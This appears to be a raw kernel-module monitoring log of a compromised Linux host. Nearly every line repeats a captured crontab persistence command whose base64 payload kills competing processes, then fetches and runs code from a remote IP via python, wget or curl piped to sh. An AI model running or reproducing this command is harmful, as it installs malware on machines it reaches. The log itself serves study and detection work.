vcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3ac] [crontab][PID:0x3de] vfs_getattr. path: \"/lib/x86_64-linux-gnu/libaudit.so.1.0.0\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3c0] [crontab][PID:0x3fe] vfs_getattr. path: \"/lib/x86_64-linux-gnu/libaudit.so.1.0.0\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3d1] [crontab][PID:0x417] vfs_getattr. path: \"/lib/x86_64-linux-gnu/libpam.so.0.83.1\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3f3] [sh][PID:0x43d] filp_close. File: \"/dev/null\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x376] [crontab][PID:0x39e] do_filp_open. Filename: \"/lib/x86_64-linux-gnu/libnsl.so.1\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [sh][PID:0x439] vfs_read. File: \"/lib/x86_64-linux-gnu/ld-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x441] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x354] [crontab][PID:0x375] filp_close. File: \"/root/.bashrc\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3ad] [crontab][PID:0x3e4] sock_create. Domain: 0x
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3f3] [crontab][PID:0x43d] do_filp_open. Filename: \"/etc/ld.so.cache\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x37a] [crontab][PID:0x3a6] do_filp_open. Filename: \"crontabs/tmp.AdFKYA\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x44b] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x447] vfs_read. File: \"/bin/dash\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [systemd][PPID:0x1] [bnmf][PID:0x2fe] vfs_getattr. path: \"/proc/1081\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3a2] [crontab][PID:0x3d5] filp_close. File: \"/etc/ld.so.cache\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x456] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x34f] [crontab][PID:0x366] filp_close. File: \"/root/stdout.log\
